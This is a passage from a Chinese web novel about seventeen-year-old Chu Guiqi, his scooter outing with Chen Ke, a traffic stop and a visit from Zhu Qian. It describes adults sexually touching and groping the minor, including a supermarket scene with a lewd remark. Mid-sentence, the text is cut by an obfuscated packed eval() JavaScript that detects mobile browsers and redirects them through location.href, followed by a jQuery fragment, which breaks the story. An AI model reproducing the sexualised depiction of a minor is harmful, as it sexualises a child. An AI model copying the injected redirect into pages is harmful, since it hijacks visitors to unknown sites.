殷时序安抚地抚上楚归栖的颈窝,慢慢揉捏几下,手心贴上他潮红的脸颊,用指腹将其眼尾的湿润拭去,而这一切都被隔挡在那椅背之后,在他平静的神色下,陈柯完全无法得见二人有着什么样的亲密举动。
短短几个细小动作之后,殷时序放下梳子朝门口走去,“先让栖栖换衣服吧,还穿着睡衣。”
“哦,那正好,”站在门口的陈柯笑眯眯地侧身让路,看着他将卧室门关上,“家里快没有菜了,吃完饭我带他去超市买一点。”
楚归栖听着门口的声音渐渐淡去,捂住嘭嘭乱跳的心口,起身爬上床将自己的脑袋拱进被子里,睡裤包着肉乎乎翘起的臀,腰身塌陷,忍着蚀骨的酸麻用手揉捏自己的小腿,难受地哼呜两声。
陈柯应该没有发现什么?
他不理解自己为什么有种做贼心虚的感觉。
亲殷时序是没有错的,亲陈柯也是没有错的,那为什么合在一起就不行了?
他思考了一会儿,属实觉得离谱,首先他不是小三,其次他不是婊.子,所以他怎么会有错呢,他没有错呀。
楚归栖由结果推过程,在心里同自己所剩不多的良知诡辩几个回合,成功说服了自己,得出他们大人太过讲究苛刻的结论。
他起身拉开衣柜,拿了套衣服扔在床上,脱掉上衣,看着自己胸部和腰腹处被揉弄留下的红痕。
那人掌心的余温貌似还留在乳白的皮肤上,灼得有些发麻,楚归栖换上衣服后,揪了揪腰处冰凉的衣料让其紧贴在身上,试图借此缓解一下自己久高不下的体温。
过了几分钟,他从楼梯上下来,看到陈柯和殷时序在饭桌边相对坐着,像是在聊工作和以后的打算,陈柯时而漫不经心地笑着,拿起一旁的杯子喝水,很自然的姿态。
楚归栖从最后几个台阶上蹦哒下来,坐到殷时序旁边,“你说你要带我去超市嘛?”
陈柯夹菜放到他的小碗里,不动声色地在他的嘴唇和脖颈处扫了一眼,“嗯,你想去么?”
“我想去。”
明天就上课了,他还是想出去玩。
吃完饭,楚归栖跟在陈柯后面,到玄关处弯腰穿上鞋子,对着殷时序挥挥手,“拜拜爸爸,我一会儿就回来。”
殷时序将柜子上那顶粉白色遮阳帽拿下来给他戴上,楚归栖仰起头,又黑又大的眼睛看向他。
“今天外面有点晒。”他往下压了压帽檐,隔绝开了那双纯澈漂亮的眼睛,掰过那人的肩膀让他重新对向门口,手放在他温软的腰胯处轻轻推了推,“去吧,早点回来。”
防盗门关上时发出一声清响,周围又彻底安静下来,殷时序面无表情地对着关上的门扉站了一会,转身走到客厅的矮桌旁,从瓷瓶中拿起一支被烧得只剩花枝的卡布奇诺,静静打量半晌。
……
楚归栖坐在陈柯的电动车后面,无聊拿出手机,发现微信好多条新消息,点开一看全是学生健康助手和顾璟濯。
这两个东西并列来说完全没问题,顾璟濯这个人特别高冷,线下话少线上话更少,学生健康助手这个名字听起来都比他有人味多了。
消息是昨天的,那人给他发了几张图片,是一家西餐厅的门店外观。
就只有几张图片,什么也没说。
他撇了撇嘴,心想你装你妈呢,还得我亲自问。
【这是什么】
那边几乎是秒回,楚归栖觉得姓顾的大概真能闲到随时盯着他的消息。
【一家西餐厅】
【我当然知道】
那边顿了顿,过了几秒发来一句——
【新开的,听说里面的进口甜品很好吃,应该会有你喜欢的】
看到甜品,楚归栖愣了一下。
【你有空么,我带你去】
像直男约会。
他有些冷漠地想道,退出微信翻了翻日历,又切回去打字——
【我最近没空,国庆节吧,快到了】
上方又是“顾”与“对方正在输入中”来回切换几次,发来一句勉勉强强的——
【好,到时候我去接你】
楚归栖收了手机,戴着遮阳帽踩着脚蹬站起来,从后面双手环住陈柯的脖颈,迎风眯起眼睛。
“宝宝,你这样有点危险。”陈柯道。
“我很安全。”
楚归栖这样在后面站起来,比坐着的陈柯要高一头,风没有任何阻挡地冲他吹来,帽下的发尾被吹得蹁跹,他望着前方,突然哼哼了几声模糊的歌词。
陈柯仔细听了听,才隐约听清他唱的是——
“终有一年,终有一天,终于回你身边……”
“求求星光求月亮,听听我心愿,但愿爱充满世间,幸福永不变……”
陈柯只觉这首歌非常熟悉,但是想不大起来到底是什么动画片里的了,因为楚归栖看过的动画片确实很多。
“这是……”
“是丽羊羊唱的,呃唔,我不知道歌手是谁,我就记得喜羊羊大电影里有丽羊羊唱这首歌,嘻嘻。”
“而且丽羊羊是喜羊羊的妈妈呀。”
你就对人家的妈妈念念不忘。
陈柯在心底默默叹了口气。
楚归栖身上有太多时间洗不去的东西。
他就像是山村星空下的萤火虫,那抹点光循环牵引了太多回忆,是月光下洒了雪似的土地,钢丝线上晒暖的补丁被褥,飞上屋顶的秃毛白公鸡,是纸包泡泡糖,手拿泡泡机,是一些古早动画片,是缓慢转动泠泠作响的银白色八音盒。
或者说他被困在了那个平俗、缺爱、不完整却又美好得可怜的时空间隙中,他在把现在得到的幸福注入曾经的缺口,进行一场愚笨又无甚效果的自我拯救。
本该是有人和他一起盖缝了补丁的被子,给他暖又冷又沉的被窝,牵着他走在土路上去河边捞小鱼,看他蹲在院中菜田里扣玻璃珠,把他放在家里上锁出门,小孩想妈妈会哭,回来后一包零食就能哄好。
而在楚归栖的记忆和现有的认知里,只有那些苦难,却缺了那个本该在苦难中陪伴他的人。
所以陈柯现在扮演那个角色,他的不符合年龄的过家家游戏,不过是一个没有地基的梦幻高楼,大风一吹,总会散的。
“哇塞哇塞哇塞!!”
到了红灯,陈柯停在十字路口,看了眼一旁走来的交警,还完全没意识到有什么不对——
“哇塞什么呢宝贝。”
“我们完蛋了。”
“怎么完蛋了?”
“你电动车没挂牌。”
?!
陈柯猛地想起来,偏头一看,交警已经冷着脸走到了面前。
……
楚归栖蹲在路边,把脸埋在臂弯里,憋笑憋到发抖。
一边的陈柯脸上挂着很假的笑,应付着交警的大声训戒。
有豪车不开非要整天骑个小电驴遛弯,还在十字路口、众目睽睽之下被交警逮到罚了一百块钱,楚归栖真要被他笑死了。
“当着我的面你说你多大的胆子啊?那些出事的都是你们这种存着侥幸心理的!车子什么时候买的?拿发票我看看。”
陈柯老老实实地在相册中翻发票给他看。
“买了半个多月了还不上牌,打算什么时候上的?”
陈柯笑笑,不说话,看起来有些尴尬。
楚归栖看热闹不嫌事大,感觉那人是有点不自知的幽默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256686|165797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
属性在身上的。
交警双手背在身后,上半身一转,视线俯视下来。
楚归栖半扬的唇角迅速下跌,眼神无辜又不安地闪烁着,小脸因为方才憋笑而有些泛红,脑袋罩在粉白色遮阳帽下,蜷蹲在路边像只粉盖小蘑菇。
交警以为他害怕得要哭了,也完全没看出来那人是个十七岁的,更生气地冲陈柯吼道——
“还带着个小孩?!你赶紧给我去找正规机构挂好牌知道吗?”
陈柯点头,作出一副遵纪守法好公民的模样,只是笑得仍是很假,“知道了。”
楚归栖突然意识到他可能生气了。
在某个瞬间,他好像看出来陈柯的脾气和耐心并不算好,对别人。
那陈柯会对我发火么。
他又不由得想到了那个幻觉。
陈柯如果像幻觉里那样粗暴,那样对他说不好听的话,让他伤心到痛哭,他就不要喜欢那人了。
他闷闷地想道。
可是如果陈柯不喜欢我,我不就没有妈妈了么,如果我不喜欢爸爸妈妈了,我还能喜欢谁呢。
喜欢也不行,不喜欢也不行。
所以才会很痛苦很难过么?
那不就和祝谦那种烂苹果一样了?像祝谦一样,那不就是……爱情了?
楚归栖皱了皱眉,感觉这个词非常刺人。
爱情和爱不一样的,他对爸爸妈妈是喜欢,是爱,但是爱情这种东西他一点也不想沾边,不然就会有流不完的眼泪,他不想那样。
楚归栖对他人情绪的感知格外敏感,因为感觉陈柯憋着火,所以去超市的时候,他将那人拉到一处隐蔽的货架处,仰起头亲了亲对方的唇。
陈柯盯着他看了半晌,将眼镜摘了下来。
太过分了。
二十分钟后楚归栖从货架后面出来,双腿酸软,大腿根都被捏麻了,他舔了舔半肿的下唇,疼得想哭。
那斯文败类还人模狗样地扶了扶金丝镜框,跟在后面摸摸他的腰,低下头心情愉悦地在他耳边道,“宝宝喜欢被摸腿,叫得真好听。”
神经病啊,楚归栖气愤地推开他的手,下次再哄你我就是狗。
……
周一上了一天的课,下午楚归栖和江丛去食堂吃了顿饭,在教室里休息一会便开始上晚自习。
第一节小晚自习,也就是下午五点多的时候,楚归栖正写着数学作业,突然有人在过道上拍了拍他的肩。
教室里走进来个陌生人,大多数同学都好奇地往这边看,同桌江丛注意到后小声问道,“栖栖,他就是你说的那个小妈么。”
楚归栖看着那双与陈柯有三分相像的眼睛,不知道那人为何能得知自己的教室,惊疑不定地摇摇头,“不是,他不是。”
祝谦垂眸看着他,柔声道,“栖栖,去给你老师请个假,我占用你一个小时的时间,带你去个地方。”
教室里视线太多,实在无法多说,他将他拉出去,关上门在走廊处蹙起眉——
“你又要说什么?我说了陈柯现在在我家,你有什么能不能去找小叔叔不要来找我……”
本来写数学作业就他妈烦。
“栖栖。”
楚归栖烦躁地抿唇看着他。
祝谦比上次生日包厢见面瘦了好多,原本秀美艳绝的容貌也变得苍白憔悴了不少,他没有挎包,穿着一件朴素的衬衫——
楚归栖不知道他这种风格是不是在学陈柯,他只知道有些方面那人确实是从殷时序口中套出陈柯的习惯并刻意模仿。
爱情让人魔怔,让人没有尊严,让人不择手段。
他说,“我只想找你谈,我的车就在下面,跟我去个地方,好么。”